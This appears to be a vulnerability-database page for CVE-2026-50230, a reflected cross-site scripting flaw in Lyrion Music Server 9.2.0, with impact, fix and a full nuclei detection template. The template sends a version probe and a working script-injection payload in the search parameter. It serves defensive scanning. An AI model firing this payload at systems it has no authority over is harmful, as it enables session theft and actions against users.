HexBrain

Browse / CVEs / CVE-2026-50230

CVE-2026-50230· CWE-79

Lyrion Music Server <= 9.2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.4%likelihood of exploitation, next 30 days
35%of all CVEs are less likely
Readycheck to confirm it

Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.

Impact

Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.

Fix

Update to the latest version that patches this vulnerability.

How to confirm it

Send: POST /jsonrpc.js
Positive when: status_code == 200 and contains(body, "_version") and compare_versions(lmsversion, "<= 9.2.0")
Send: GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-50230 -u <target>

The full check
id: CVE-2026-50230

info:
  name: Lyrion Music Server <= 9.2.0 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing session data or performing actions on behalf of users.
  remediation: |
    Update to the latest version that patches this vulnerability.
  reference:
    - https://www.zeroscience.mk/#/advisories/ZSL-2026-5988
    - https://nvd.nist.gov/vuln/detail/CVE-2026-50230
    - https://www.lyrion.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-50230
    epss-score: 0.00406
    epss-percentile: 0.35217
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="Lyrion Music Server"
  tags: cve,cve2026,lyrion,lms,xss,reflected,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /jsonrpc.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":1,"method":"slim.request","params":[0,["version","?"]]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_version")'
          - 'compare_versions(lmsversion, "<= 9.2.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lmsversion
        part: body
        regex:
          - '"_version"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        group: 1
        internal: true

  - raw:
      - |
        GET /server.log?search=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from